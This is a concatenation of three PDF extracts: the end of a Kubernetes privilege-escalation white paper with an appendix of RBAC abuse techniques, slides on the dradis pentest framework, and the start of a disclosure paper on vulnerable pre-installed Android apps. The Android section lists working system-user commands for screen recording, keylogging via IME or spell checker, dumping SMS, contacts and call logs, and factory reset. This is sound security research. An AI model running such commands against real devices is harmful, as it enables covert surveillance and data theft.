the “Recommendations” section for ways you can minimize risk and hold off attacks even when some
powerful pods still exist in a cluster.
We’d like to thank the vendors and open source projects mentioned in this report for their collaboration
as well as their efforts to minimize the distribution of powerful credentials in their platforms.
18
Prisma by Palo Alto Networks | Kubernetes Privilege Escalation: Excessive Permissions in Popular Platforms | White Paper
About
Prisma Cloud
Prisma® Cloud is a comprehensive cloud native security platform with the industry’s broadest secu-
rity and compliance coverage—for applications, data, and the entire cloud native technology stack—
throughout the development lifecycle and across hybrid and multicloud deployments. Prisma Cloud’s
integrated approach enables security operations and DevOps teams to stay agile, collaborate effectively,
and accelerate cloud native application development and deployment securely.
Prisma Cloud’s Cloud Workload Protection (CWP) module delivers flexible protection to secure cloud
VMs, containers and Kubernetes apps, serverless functions and containerized offerings like Fargate tasks.
Using the built-in admission control for Kubernetes, users can enforce policies that alert on suspicious or
non-compliant activities in their cluster, including Kubernetes privilege escalation. Refer to CWP’s sam-
ple repository for admission policies that can detect the attacks outlined in this report
Prisma Cloud’s Cloud Code Security (CCS) module delivers automated security for cloud native infra-
structure and applications, integrated with developer tools. The module shifts security left by catching
misconfigurations in code and IaC before they’re pushed to production. Prisma Cloud CSS is powered by
Checkov, the popular open source policy-as-code IaC scanner, and will soon leverage the newly contrib-
uted Kubernetes RBAC checks to identify and alert on powerful permissions in Kubernetes manifests.
Unit 42
Unit 42 brings together our world-renowned threat researchers with an elite team of security consul-
tants to create an intelligence-driven, response-ready organization. The Unit 42 Threat Intelligence
team provides threat research that enables security teams to understand adversary intent and attri-
bution while enhancing protections offered by our products and services to stop advanced attacks. As
threats escalate, Unit 42 is available to advise customers on the latest risks, assess their readiness, and
help them recover when the worst occurs. The Unit 42 Security Consulting team serves as a trusted
partner with state-of-the-art cyber risk expertise and incident response capabilities, helping custom-
ers focus on their business before, during, and after a breach.
Authors
Yuval Avrahami, Principal Security Researcher, Palo Alto Networks
Shaul Ben Hai, Staff Security Researcher, Palo Alto Networks
Contributors
This report would not be possible without the tremendous work and efforts taken by the larger Palo Alto
Networks team. The following people assisted significantly in its creation.
Reviewing
Ariel Zelivansky
Jay Chen
Nathaniel Quist
Sharon Ben Zeev
Editing
Grace Cheung
Aimee Savran
19
Prisma by Palo Alto Networks | Kubernetes Privilege Escalation: Excessive Permissions in Popular Platforms | White Paper
Appendix A: Powerful Permissions by Attack Class
Manipulate Authentication/Authorization (AuthN/AuthZ)
impersonate users/groups/serviceaccounts
Impersonate other identities, such as users, groups, and service accounts.
escalate roles/clusterroles
Add arbitrary permissions to existing roles or clusterroles.
bind rolebindings/cluster role bindings
Grant existing roles or clusterroles to arbitrary identities.
approve signers & update certificatesigningrequests/approval
Have an existing signer approve a certificatesigningrequest.
control mutating webhooks
Mutate admitted roles and clusterroles.
Acquire Tokens
list secrets
Retrieve service account tokens for existing service accounts in a namespace.
This attack is set to be addressed in the future by Kubernetes Enhancement Proposal (KEP) 2799:
Reduction of Secret-based Service Account Tokens.
create secrets
Issue new service account tokens for existing service accounts.
create serviceaccounts/token
Issue temporary service account tokens for existing service accounts via TokenRequests.
create pods
Assign an existing service account to a new pod, allowing the pod to access its token. Alternatively, attach
the token secret of an existing service account token to a new pod as an environment variable or volume.
control pod controllers
Assign an existing service account to new or existing pods, allowing them to access its token.
Alternatively, attach the token secret for an existing service account token to new or existing pods as an
environment variable or volume.
control validating webhooks
Get tokens as they're created, for example when a token secret is created for a new service account.
control mutating webhooks
Get tokens as they're created, for example when a token secret is created for a new service account.
Attach service account tokens to new pods.
Remote Code Execution
create pods/exec
Execute commands in an existing pod via the API server.
update pods/ephemeralcontainers
Attach a new container to an existing pod to execute code on it. Attach the container as privileged to
execute code on the underlying node.
create nodes/proxy
Execute commands in the existing pod via the Kubelet.
control pods
Replace the image of a container by modifying an existing pod. Create a new privileged pod to execute
code on a node.
control pod controllers
Freely create or modify pods via pod controllers like Deployments. Execute code on nodes by setting a
container to be privileged.
control mutating webhooks
Mutate admitted pods and execute code by replacing the image, command, arguments, environment
variable, or volumes for one of their containers.
3000 Tannery Way
Santa Clara, CA 95054
Main:
+1.408.753.4000
Sales:
+1.866.320.4788
Support: +1.866.898.9087
www.paloaltonetworks.com
© 2022 Palo Alto Networks, Inc. Palo Alto Networks is a registered
trademark of Palo Alto Networks. A list of our trademarks can be found at
https://www.paloaltonetworks.com/company/trademarks.html. All other
marks mentioned herein may be trademarks of their respective companies.
prisma_wp_kubernetes-privilege-escalation_051222
Steal Pods
modify nodes
Evict a pod by tainting its node with the NoExecute effect. Ensure its replacement (given the pod is
managed by ReplicaSets, for example) lands on a specific node by marking others as unscheduled, for
example via a NoSchedule taint.
modify nodes/status
Mark a node as unschedule, for example by setting its pod capacity to 0.
create pods/eviction
Evict a pod, mainly in order to cause controllers like ReplicaSets to respawn it.
delete pods
Delete a pod to cause controllers like ReplicaSets to respawn it.
delete nodes
Delete a node to delete its pods, and cause controllers like ReplicaSets to respawn it.
modify pods/status
Match a pod's labels to the selector of an existing replica controller (e.g. a ReplicaSet) in the same
namespace, to trick it into deleting an existing replica. Ensure the fake pod isn't the one being deleted
by setting his ready time to be the earliest among replicas.
modify pods
Match a pod's labels to match the selector of a replica controller like a ReplicaSet in the same
namespace, to trick it into deleting an existing replica.
Meddler-in-the-Middle
control endpointslices
Modify existing endpointslices for existing services to redirect some of their traffic. Create new end-
pointslices for existing services to redirect some of their traffic.
modify endpoints
Modify the endpoint of an existing service to redirect the service's traffic elsewhere. This attack is nul-
lified on clusters configured to use endpointslices instead of endpoints.
modify services/status
Attach a Load Balancer IP to exploit CVE-2022-8554 and redirect traffic from pods and nodes from
their designated target to existing endpoints.
modify pods/status
Match a pod's labels to the selector of a service in the same namespace to intercept some of its traffic.
modify pods
Match a pod's labels to the selector of a service in the same namespace to intercept some of its traffic.
create services
Create an ExternalIP service to exploit CVE-2022-8554 and redirect traffic from pods and nodes from
their designated target to existing endpoints.
control mutating webhooks
Mutate newly admitted services, endpoints and endpointslices to redirect cluster traffic. | pdf |
1
dradis Framework
dradis Framework
sharing information will get you root
http://dradisframework.org/
Daniel Martín Gómez
[email protected]
august 2009
2
dradis Framework
dradis Framework
sharing information will get you root
Daniel Martín Gómez
[email protected]
august 2009
http://dradisframework.org/
Agenda
➔ In the begining, there was nothing
➔ The dradis project
➔ The Framework
➔ Demo
4
dradis Framework
In the begining, there was nothing
5
In the begining, there was nothing
Information
Discovery
✔ port scan
✔ vuln. scan
✔ web app scan
✔ ...
6
In the begining, there was nothing
Information
Discovery
✔ port scan
✔ vuln. scan
✔ web app scan
✔ ...
Exploiting
✔ metasploit
✔ milw0rm
✔ ...
7
In the begining, there was nothing
Information
Discovery
✔ port scan
✔ vuln. scan
✔ web app scan
✔ ...
Exploiting
✔ metasploit
✔ milw0rm
✔ ...
✔ word
✔ pdf tools
✔ ...
Reporting
8
In the begining, there was nothing
Information
Discovery
Exploiting
Reporting
What about
sharing the
information?
9
In the begigin, there was nothing
Why do we need THAT?
10
why do we need it?
11
why do we need it?
12
why do we need it?
Scheduling Madness
Agenda
➔ In the begining, there was nothing
➔ The dradis project
14
dradis Framework
The dradis project
➔ Project goals
➔ Technology behind the scenes
➔ Evolution
➔ Why dradis?
15
The dradis project
Project goals
16
The dradis project
4 goals for the project
➔ share information effectively
17
The dradis project
4 goals for the project
➔ share information effectively
➔ easy to use and adopt
18
The dradis project
4 goals for the project
➔ share information effectively
➔ easy to use and adopt
➔ flexibility
19
The dradis project
4 goals for the project
➔ share information effectively
➔ easy to use and adopt
➔ flexibility
➔ small and portable
20
dradis Framework
The dradis project
➔ Project goals
➔ Technology behind the scenes
21
dradis Framework
Technology behind the scenes
22
Technology behind the scenes
Database
REST
Web
23
dradis Framework
The dradis project
➔ Project goals
➔ Technology behind the scenes
➔ Evolution
24
The dradis project
Evolution
2007 - ...
25
The Framework
Activity
26
The Framework
Downloads
27
The dradis project
Why DRADIS?
<
Agenda
➔ In the begining, there was nothing
➔ The dradis project
➔ The Framework
29
dradis Framework
The Framework
➔ Impossible is nothing
➔ dradis Plugins
➔ The Meta Server
30
The dradis project
Impossible is nothing
31
Impossible is Nothing
DRADIS
32
Impossible is Nothing
DRADIS
33
Impossible is Nothing
DRADIS
Vuln. DB
34
Impossible is Nothing
DRADIS
Vuln. DB
35
dradis Framework
The Framework
➔ Impossible is nothing
➔ dradis Plugins
36
The dradis project
dradis Plugins
37
dradis Plugins
module Plugins
module Upload
include NmapUpload
end
end
Convention over configuration
38
dradis Plugins
module Plugins
module Upload
include NmapUpload
end
end
Convention over configuration
./script/generate upload_plugin nessus
39
dradis Framework
The Framework
➔ Impossible is nothing
➔ dradis Plugins
➔ The Meta Server
40
The dradis project
The Meta Server
The dradis Meta Server will be
cooler than giant robots
smashing into other giant
robots!
“
”
dradis-devel
mailing list : 2009-06-29
41
The Meta-Server
42
The Meta-Server
43
The Meta-Server
Archive
44
The Meta-Server
Archive
Backup
45
The Meta-Server
Archive
Intelligence ( Stats? )
Backup
Agenda
➔ In the begining, there was nothing
➔ The dradis project
➔ The Framework
➔ Demo
47
dradis Framework
Thanks.
48
dradis Framework
dradis Framework
Daniel Martín Gómez
[email protected]
http://dradisframework.org/
irc.freenode.org
#dradis | pdf |
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
Vulnerable Out of the Box:
An Evaluation of Android Carrier Devices
Abstract
Pre-installed apps and firmware pose a risk due to vulnerabilities that can be pre-positioned on a device,
rendering the device vulnerable on purchase. To quantify the exposure of the Android end-users to
vulnerabilities residing within pre-installed apps and firmware, we analyzed a wide range of Android
vendors and carriers using devices spanning from low-end to flagship. Our primary focus was exposing
pre-positioned threats on Android devices sold by United States (US) carriers, although our results affect
devices worldwide. We will provide details of vulnerabilities in devices from all four major US carriers,
as well two smaller US carriers, among others. The vulnerabilities we discovered on devices offered by
the major US carriers are the following: arbitrary command execution as the system user, obtaining the
modem logs and logcat logs, wiping all user data from a device (i.e., factory reset), reading and modifying
a user’s text messages, sending arbitrary text messages, getting the phone numbers of the user’s contacts,
and more. All of the aforementioned capabilities are obtained outside of the normal Android permission
model. Including both locked and unlocked devices, we provide details for 38 unique vulnerabilities
affecting 25 Android devices with 11 of them being sold by US carriers.
1. Introduction
Android devices contain pre-installed apps ranging from a vendor’s custom Settings app to “bloatware.”
Bloatware can frustrate users due to the difficulty in removing or disabling these potentially unwanted apps.
In some cases, a user needs to “root” their device to remove the offending software (assuming there is a
viable root strategy available), potentially voiding their warranty. Pre-installed apps may contain
vulnerabilities, exposing the end-user to risks that they cannot easily remove. Furthermore, pre-installed
apps can obtain permissions and capabilities that are unavailable to third-party apps (i.e., those the user
downloads or sideloads). Apps that signed with the platform key (i.e., platform apps) can execute as the
same user (i.e., system) as the Android Operating System (OS) framework. A vulnerability within a pre-
installed platform app user can be used to obtain Personally Identifiable Information (PII) and engage in
aggressive surveillance of the user. We discovered numerous vulnerabilities that allow any app co-located
on the device to obtain intimate details about the user and their actions on the device.
Pre-installed apps and firmware provide a baseline for vulnerabilities present on a device even before the
user enables wireless communications and starts installing third-party apps. To gauge the exposure of
Android end-users to vulnerabilities residing within pre-installed apps, we examined a range of Android
devices spanning from low-end devices to flagship devices. Our primary focus was examining Android
devices sold by United States (US) carriers. We found vulnerabilities in devices from all four major US
carriers, as well as two smaller US carriers. A complete listing of all the vulnerabilities we found is provided
in Section 3. The vulnerabilities we found on devices sold by major US carriers are the following: arbitrary
command execution as the system user, obtaining the modem logs and logcat logs, wiping all user data
from a device (i.e., factory reset), reading and modifying a user’s text messages, sending arbitrary text
messages, and getting the phone numbers of the user’s contacts. All of the aforementioned capabilities are
obtained outside of the normal Android permission model. The vulnerabilities found in pre-installed apps
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
can be leveraged by a third-party app to have the vulnerable app perform some behavior on its behalf due
to insecure access control mechanisms.
In addition to US carrier devices, we also examined unlocked Android smartphones. We purchased three
Android devices while on a recent trip to Southeast Asia. Specifically, we examined the Oppo F5, Vivo V7,
and the Leagoo P1 devices. According to IDC, Oppo and Vivo respectively had 7.4% and 5.2% global
market share for smartphones shipped in the first quarter of 20171. These devices contained significant
vulnerabilities that can be used to perform surveillance of the user. Oppo’s F5 flagship device contains a
vulnerability that allows any app on co-located on the device to execute arbitrary commands as the system
user. The capabilities available to apps that can execute commands as the system user is provided in Section
4. The device also has an open interface that allows the recording of audio, although the command execution
as system user vulnerability is needed to copy the recorded audio file. The Vivo V7 device contains
vulnerabilities that allow any third-party app on the device to record the screen, obtain the logcat and kernel
logs, and change system properties. For example, changing the persist.sys.input.log property to a
value of yes makes the coordinates of the user’s screen touches and gestures get written to the logcat log.
The Leagoo P1 device allows any app on the device to programmatically perform a factory reset and to take
a screenshot that gets written to external storage (i.e., SD card). Furthermore, the Leagoo P1 device has a
local root privilege escalation via Android Debug Bridge2 (ADB).
When vendors leave in development and debugging functionality, this can result in a vulnerability that can
be leveraged by an attacker. These apps should be removed prior to launching a production build available
to the end user. If these apps are unable to be removed, then these functionalities should not be available to
all apps co-located on the device. Ideally, they should be restricted to requiring some sort of human
involvement prior to obtaining or logging PII. A concerted effort is placed on searching for vulnerabilities
and threats arising from apps that the downloads from traditional app distribution channels. In addition to
looking at external apps, an effort should be undertaken to examine the apps already present on the device.
2. Background
This section provides additional context for understanding Android concepts relevant to the
vulnerabilities presented in later sections.
2.1 Threat Model
We assume that the user has a generally unprivileged third-party app installed on the target device so that
it can interact with pre-installed apps on the device through open interfaces. This can be accomplished via
repackaging apps and listing them on third-party app marketplaces, trojanized app, phishing, social
engineering, or remote exploit. An interesting attack vector recently employed is that attackers were posing
as beautiful women, befriending targets, and enticing them to install trojanized apps 3. Most of the
vulnerabilities we discovered require a local app be installed on the device to exploit the vulnerabilities
resident in pre-installed apps with the exception being two root privilege escalation vulnerabilities that
1 https://www.idc.com/getdoc.jsp?containerId=prUS42507917
2 https://developer.android.com/studio/command-line/adb
3 https://arstechnica.com/information-technology/2018/04/malicious-apps-in-google-play-gave-attackers-considerable-control-
of-phones/
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
require the use of ADB. A majority of the vulnerabilities were exploitable due to improper access control
where an app exposes an interface to all other apps co-located on the device. This open interface can
potentially be abused wherein a lesser-privileged app uses the capabilities of the vulnerable app as shown
in Figure 1. All of the vulnerabilities we found do not require any user intervention except the two root
privilege escalation vulnerabilities. Many of the vulnerabilities do not require any access permissions to
exploit (e.g., performing a factory reset, sending a text message, command execution as the system user,
etc.). Other vulnerabilities require the READ_EXTERNAL_STORAGE since external storage is a common
location for pre-installed apps to dump data. If any app was truly be malicious, the INTERNET permission
would be needed to exfiltrate the obtained data to a remote location.
FIGURE 1. INDIRECT ACCESS TO PROTECTED RESOURCES.
2.2 Pre-Installed Apps
We consider a pre-installed app to be an app that is present on the device the first time the user removes the
phone from the box and boots the phone. Specifically, any app that is installed on the system partition is a
pre-installed app. These apps were chosen to be on the device by the vendor, carrier, hardware manufacturer,
etc. The most privileged pre-installed apps are those executing as the system user (i.e., platform apps). For
an app to execute as the system user, it needs to have the android:sharedUserId attribute set to a value
of android.uid.system in its AndroidManifest.xml file and be signed with the device platform key.
Each Android app must contain a valid AndroidManifest.xml file serving as a specification for the app.
In terms of the core AndroidManifest.xml file that declares the platform’s permissions4, apps executing
as the system user can obtain permissions with an android:protectionLevel of signature and all pre-
installed apps can obtain permissions with an android:protectionLevel of signatureOrSystem. Neither
signature nor signatureOrSystem permissions can be obtained by third-party apps, which are limited to
requesting permissions with an android:protectionLevel of normal and dangerous5.
2.3 Intents
An Intent6 is like a message that can contain embedded data that is sent within/between apps. Intents are a
fundamental communication mechanism in Android. In this paper, most of the vulnerabilities are
exploited by sending an Intent message from the attacking app to a vulnerable app that has an open
4 https://android.googlesource.com/platform/frameworks/base/+/master/core/res/AndroidManifest.xml
5 Some permissions have an android:protectionLevel of development that allows a user to grant them to an app via ADB.
6 https://developer.android.com/guide/components/intents-filters
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
interface where the Intent will be delivered. Some Intents need to be crafted to exactly what the receiving
app is expecting with regards to an action string or specific key-value pairs to perform certain behavior.
Intent messages are delivered to app components7 which are functional units of an Android app.
2.4 External Storage
Some of the vulnerabilities in pre-installed apps will dump PII to external storage (i.e., emulated SD card).
External storage can be accessed by any app that has been granted the READ_EXTERNAL_STORAGE
permission. Due to it being a shared resource, it is not recommended to write sensitive data to the SD card8.
Nonetheless, the SD card appears to be a common location where pre-installed apps write sensitive data.
Pre-installed debugging and development apps may write data to the SD card since it is accessible to the
ADB user (i.e., shell). In this paper, the terms external storage and SD card will be used synonymously.
2.5 Bound Services
Services are one of the four Android application component types from which a user can create an Android
app. A bound service9 allows a client app to interact with a service using a pre-defined interface. The
interface between the client and service is generally defined in an Android Interface Definition Language
(AIDL) file. If the client app contains the corresponding AIDL file from the service at compile time, then
the communication with the service is straightforward and Remote Procedure Calls (RPCs) can occur
normally. If the client app lacks the corresponding AIDL file, then this communication is still possible, but
it is more involved process to explicitly interact with the service. Some vendors may be unaware that
successful communication between a bound service and client app that lacks the corresponding AIDL file
is still possible.
3. Vulnerabilities Discovered
Table 1 provides a comprehensive list of the vulnerabilities we discovered in pre-installed apps or the
Android framework in a range of carrier and unlocked Android devices.
Table 1. Complete Listing of Vulnerabilities.
Device
Vulnerability
Asus ZenFone V Live /
Asus ZenFone Max 3
Arbitrary command execution as system user
Asus ZenFone V Live /
Asus ZenFone Max 3
Take screenshot
Asus ZenFone 3 Max
Dump bugreport and Wi-Fi passwords to
external storage
Asus ZenFone 3 Max
Arbitrary app installation
Essential Phone
Programmatic factory reset
ZTE Blade Spark /
ZTE Blade Vantage /
Dump modem and logcat logs to external storage
7 https://developer.android.com/guide/components/fundamentals#Components
8 https://developer.android.com/training/articles/security-tips#ExternalStorage
9 https://developer.android.com/guide/components/bound-services
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
ZTE Zmax Champ /
ZTE Zmax Pro
LG G6 / LG Q6 / LG X
Power / LG Phoenix 2
Dump logcat log to attacking app’s private
directory
LG G6 / LG Q6 / LG X
Power / LG Phoenix 2
Lock the user out of their device (requiring a
factory reset to recover in the most cases)
LG G6 / LG Q6
Dump logcat log and kernel log to external storage
Coolpad Defiant /
Tmobile Revvl Plus /
ZTE Zmax Pro
Obtain and modify the user’s text messages
Send arbitrary text messages
Obtain phone numbers of user’s contacts
Coolpad Defiant /
Tmobile Revvl Plus
Programmatic factory reset
Coolpad Canvas
Change system properties as the
com.android.phone user
Coolpad Canvas
Dump logcat log, kernel log, and tcpdump capture
to external storage
ZTE Zmax Champ
Programmatic factory reset
ZTE Zmax Champ
Brick device with a recovery with consistent
crashing in recovery mode
Orbic Wonder
Programmatic factory reset
Orbic Wonder
Dump logcat log to external storage
Orbic Wonder
Writes content of text messages and phone
numbers for placed/received calls
Alcatel A30
Take screenshot
Alcatel A30
Local root privilege escalation via ADB
Doogee X5
Video record the screen and write to external
storage
Nokia 6 TA-1025
Take screenshot
Sony Xperia L1
Take screenshot
Leagoo Z5C
Send arbitrary text message
Leagoo Z5C
Programmatic factory reset
Leagoo Z5C
Obtain the most recent text message from each
conversation
MXQ 4.4.2 TV Box
Programmatic factory reset
MXQ 4.4.2 TV Box
Make device inoperable
Plum Compass
Programmatic factory reset
SKY Elite 6.0L+
Arbitrary command execution as system user
Oppo F5
Arbitrary command execution as system user
Oppo F5
Record audio (requires vulnerability above to
transfer file to attacking app’s private directory)
Leagoo P1
Take screenshot
Leagoo P1
Local root privilege escalation via ADB
Leagoo P1
Programmatic factory reset
Vivo V7
Video record the screen and write it to the
attacking app’s private directory
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
Vivo V7
Dump the logcat and kernel logs to SD card
Vivo V7
Change system properties as the
com.android.phone user allowing the
coordinates of touch and gesture data to the logcat
log
3.1 Vulnerable US Carrier Android Devices
Each US carrier has a stable of Android devices that it makes available to consumers. These devices are
generally locked on the carrier’s network, although they may become unlocked after a certain period of
time has elapsed. Moreover, devices sold by a carrier tend to come pre-loaded with carrier apps. Table 2
contains the vulnerabilities we discovered on Android devices sold by US carriers.
Table 2. Vulnerabilities Found in US Carrier Android Devices.
Carrier
Device
Vulnerability
Verizon
Asus ZenFone V
Live
Arbitrary command execution as system user
Verizon
Asus ZenFone V
Live
Take screenshot
Sprint
Essential Phone
Programmatic factory reset
AT&T
ZTE Blade Spark
Dump modem and logcat logs to external storage
AT&T
LG Phoenix 2
Dump modem and logcat logs to external storage
Verizon
ZTE Blade Vantage
Dump modem and logcat logs to external storage
Multiple carriers
LG G6
Dump logcat logs to attacking app’s private
directory
Multiple carriers
LG G6
Lock the user out of their device (requiring a
factory reset to recover in most cases)
Multiple carriers
LG G6
Dump logcat log, kernel log, IMEI, and serial
number to external storage
T-Mobile
Coolpad Defiant
Obtain and modify user’s text messages
T-Mobile
Coolpad Defiant
Send arbitrary text messages
T-Mobile
Coolpad Defiant
Obtain phone numbers of user’s contacts
T-Mobile
Coolpad Defiant
Programmatic factory reset
T-Mobile
Revvl Plus
Obtain and modify user’s text messages
T-Mobile
Revvl Plus
Send arbitrary text messages
T-Mobile
Revvl Plus
Obtain phone numbers of user’s contacts
T-Mobile
Revvl Plus
Programmatic factory reset
T-Mobile
ZTE Zmax Pro
Obtain and modify user’s text messages
T-Mobile
ZTE Zmax Pro
Send arbitrary text messages
T-Mobile
ZTE Zmax Pro
Obtain phone numbers of user’s contacts
T-Mobile
ZTE Zmax Pro
Dump modem and logcat logs to external storage
Cricket Wireless
Coolpad Canvas
Change system properties as the phone user
Cricket Wireless
Coolpad Canvas
Dump logcat log, kernel log, and tcpdump capture
to external storage
Total Wireless
ZTE Zmax Champ
Programmatic factory reset
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
Total Wireless
ZTE Zmax Champ
Brick device with a consistent crashing in recovery
mode
Total Wireless
ZTE Zmax Champ
Dump modem and logcat logs to external storage
3.2 Popular Android Devices in Asia
We obtained three Android devices from their official vendor stores in Kuala Lumpur, Malaysia.
Specifically, we bought the following devices: Oppo F5, Vivo V7, and Leagoo P1. At the time of purchase
(early February 2018), the Oppo and Vivo devices we purchased were flagship models. Each of these
devices had concerning vulnerabilities that are shown at the bottom of Table 1. The Oppo and Vivo devices
contain vulnerabilities that can be used to facilitate surveillance of the end-user. The vulnerabilities appear
to be unused by the device for any malicious purpose, although they can be leveraged by any third-party
app that is aware of their presence.
BBK Electronics10 produces a large range of electronics including three popular smartphone brands: Oppo,
Vivo, and OnePlus. Oppo and Vivo Android devices are not well known in the US, but they are popular in
Asia. Oppo was the top seller of smartphone units in China for 201611. Oppo and Vivo were the third and
fourth largest suppliers of smartphones in India for the first quarter of 2018 with each vendor having 6%
market share12. Furthermore, both Oppo and Vivo had 7.4% and 5.2%, respectively, global market share
for smartphones shipped in the first quarter of 2017. Leagoo is smaller than the other two vendors, but has
recently made headlines about launching its S9 device at Mobile World Congress 201813.
To determine if the vulnerabilities we discovered were being actively used by malicious apps, we “scraped”
118,000 apps from the Xiaomi app marketplace14. We did not find any instances of the vulnerabilities we
discovered being used in the apps we processed. We are still in the processing of scraping additional app
marketplaces to determine if these vulnerabilities are actively being exploited elsewhere.
4. Arbitrary Command Execution as the system User
We found 3 instances of arbitrary command execution as the system user from the following vendors: Asus,
Oppo, and SKY. All of the instances were due to a platform app executing as the system user containing
an exposed interface that allows any app co-located on the device to provide arbitrary commands to be
executed. Executing commands as the system user is a powerful capability that can be used to
surreptitiously surveil the user. Using this capability, a video can be recorded of the device’s screen,
affording the user no privacy. Android allows the screen to be recorded by privileged processes via the
/system/bin/screenrecord command. The Oppo F5 device does not allow the screen to be recorded
through the standard screenrecord command, although the device allows screenshots to be taken of the
screen via the screencap command. Beyond the lack of privacy due to observing all on-screen activity of
the user, anything that the user enters can also be viewed and obtained (e.g., passwords, credit card numbers,
10 http://www.gdbbk.com/
11 https://techcrunch.com/2017/02/05/oppo-topped-chinas-smartphone-market-in-2016/
12 https://economictimes.indiatimes.com/tech/hardware/xiaomi-jiophone-widen-leads-in-smartphone-feature-phone-markets-
respectively-counterpoint/articleshow/63887110.cms
13 https://www.engadget.com/2018/03/03/for-this-iphone-clone-maker-its-all-about-survival/
14 http://app.mi.com/
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
social security numbers, etc.). Command execution as the system user can allow an app to
programmatically set itself as a notification listener. A notification listener can receive the text of the user’s
notifications as notifications are received15. In the normal case, a user must explicitly enable an installed
app as a notification listener using the Settings app. An app executing as the system user can
programmatically add an app (e.g., the attacking app) to the list of approved notification listeners using the
settings put secure enabled_notification_listeners <package name>/<component name>
command. This enables the app to receive the text of the notifications, allowing the app to see received text
messages, Facebook Messenger messages, WhatsApp messages, and also any arbitrary notification that is
received. The logcat log is also accessible to the system user and can be written to a location that is visible
to other applications. The data that can be obtained from the logcat log is provided in Section 5. Moreover,
the attacking app can programmatically use the vulnerable platform app to set itself as the default Input
Method Editor (IME) and capture the input that the user enters by replacing the default keyboard with one
that the attacking app has implemented within its own code16. The new IME would raise suspicion if it did
not resemble the target’s default keyboard. The key presses can be transferred to the malicious app from
the malicious IME via a dynamically-registered broadcast receiver. The attacking app can also set one of
its components as the default spell checker17. Table 3 shows the capabilities that were verified using the
vulnerable platform app to execute commands as the system user. The differences are due to the Android
Application Programming Interface (API) level and SELinux18 rules of the respective devices.
Table 3. Verified Capabilities on the Devices with a Vulnerable Platform App.
Device
Asus ZenFone
V Live
Asus ZenFone 3
Max
Oppo F5
SKY Elite 6.0L+
Obtain text messages
X
X
X
Obtain call log
X
X
X
Obtain contacts
X
X
X
Set as keyboard (keylogger)
X
X
X
X
Set as notification listener
X
X
X
X
Factory Reset
X
X
X
X
Call phone number
X
X
X
X
Take Screenshot
X
X
X
X
Record video
X
X
X
Install app
X
Set as spell checker
X
X
X
Write logcat log
X
X
X
X
Below are some commands that are verified to work when executed as the system user via a vulnerable
app that exposes this capability on some of the devices we tested. Some of the commands below can be
used to directly write the output, if any, to the attacking app’s private directory (see Section 4.1.1 and
Section 4.1.2 for details) instead of using external storage for a temporary file transfer location. Notably,
SELinux on the Asus ZenFone V Live prevents its vulnerable platform app from directly reading from or
writing to a third-party app’s private directory; therefore, the approach is Section 4.1.1 is necessary for
15 https://developer.android.com/reference/android/service/notification/NotificationListenerService
16 https://developer.android.com/guide/topics/text/creating-input-method
17 https://developer.android.com/guide/topics/text/spell-checker-framework
18 https://source.android.com/security/selinux/concepts
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
make the vulnerable app write a shell script via logcat and transfer the command output via embedding the
data in broadcast intents.
Record the user’s screen for 60 seconds
/system/bin/screenrecord --time-limit 60 /sdcard/sixtyseconds.mp4
Take screenshot
/system/bin/screencap -p /sdcard/notapic.png
Set your app as a notification listener
/system/bin/settings put secure enabled_notification_listeners
com.my.app/.NotSomeNotificationListenerService
Set your app as a spell checker providing partial keylogger functionality
/system/bin/settings put secure selected_spell_checker
com.my.app/.NotSomeSpellCheckingService
Set your app as the default IME (e.g., keyboard) for keylogger functionality
/system/bin/settings put secure enabled_input_methods <ones that were already
there>:com.my.app/.NotSomeKeyboardService
/system/bin/settings put secure default_input_method
com.my.app/.NotSomeKeyboardService
Obtain the logcat log
/system/bin/logcat -d -f /sdcard/notthelogdump.txt
/system/bin/logcat -f /sdcard/notthelog.txt
Inject touch, gestures, key events, and text
/system/bin/input tap 560 1130
/system/bin/input swipe 540 600 540 100 200
/system/bin/input keyevent 3 66 67 66
/system/bin/input text scuba
Call a phone number (can be used to call emergency numbers)
am start -a android.intent.action.CALL_PRIVILEGED -d tel:800-555-5555
Factory reset the device
am broadcast -a android.intent.action.MASTER_CLEAR
Get all of the user’s text messages
content query --uri content://sms
Get all of the user’s call log
content query --uri content://call_log/calls
Get all of the user’s contacts
content query --uri content://contacts/people
Set certain system properties (seems limited to persist.*)
setprop persist.sys.diag.mdlog 1
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
Change arbitrary settings
settings put secure install_non_market_apps 1
Disabled third-party apps
pm disable com.some.undesirable.app
4.1 Executing Scripts as the system User
The three instances of command execution as the system user that we found all use the
java.lang.Runtime.exec(String) API call to execute commands. This API call executes a single
command and does not allow input and output redirection that the shell provides. This behavior is limiting,
so we created a method to have the app that allows command execution to execute shell scripts without
reading them from external storage. This relieves the attacking app from having to request the
READ_EXTERNAL_STORAGE permission, although the attacking app can create the request to access external
storage and use the vulnerable app to inject input events to grant itself the permission if runtime permission
granting is present on the device. Nonetheless, to be stealthier, the approach we outline below alleviates
access to the SD card for certain data (recording the screen, text messages, contacts, call log, etc.). All the
vulnerable platform apps are able to read and execute a shell script in attacking app’s private directory and
write the output to the attacking app’s private directory, except the Asus ZenFone V Live device. It’s
vulnerable platform app will be blocked from reading from or writing to the attacking app’s private
directory. Therefore, we provide two different methods for data transfer. Section 4.1.1 is the most robust
and removes any difficulty with SELinux blocking a platform app reading from or writing to the attacking
app’s private directory. Section 4.1.2 details the instance where the platform app is not prevented from
writing directly to the attacking app’s private directory.
4.1.1 Transferring Data Using a Dynamically-Registered Broadcast Receiver
Our approach uses the logcat log to have the vulnerable platform app write a shell script to its private
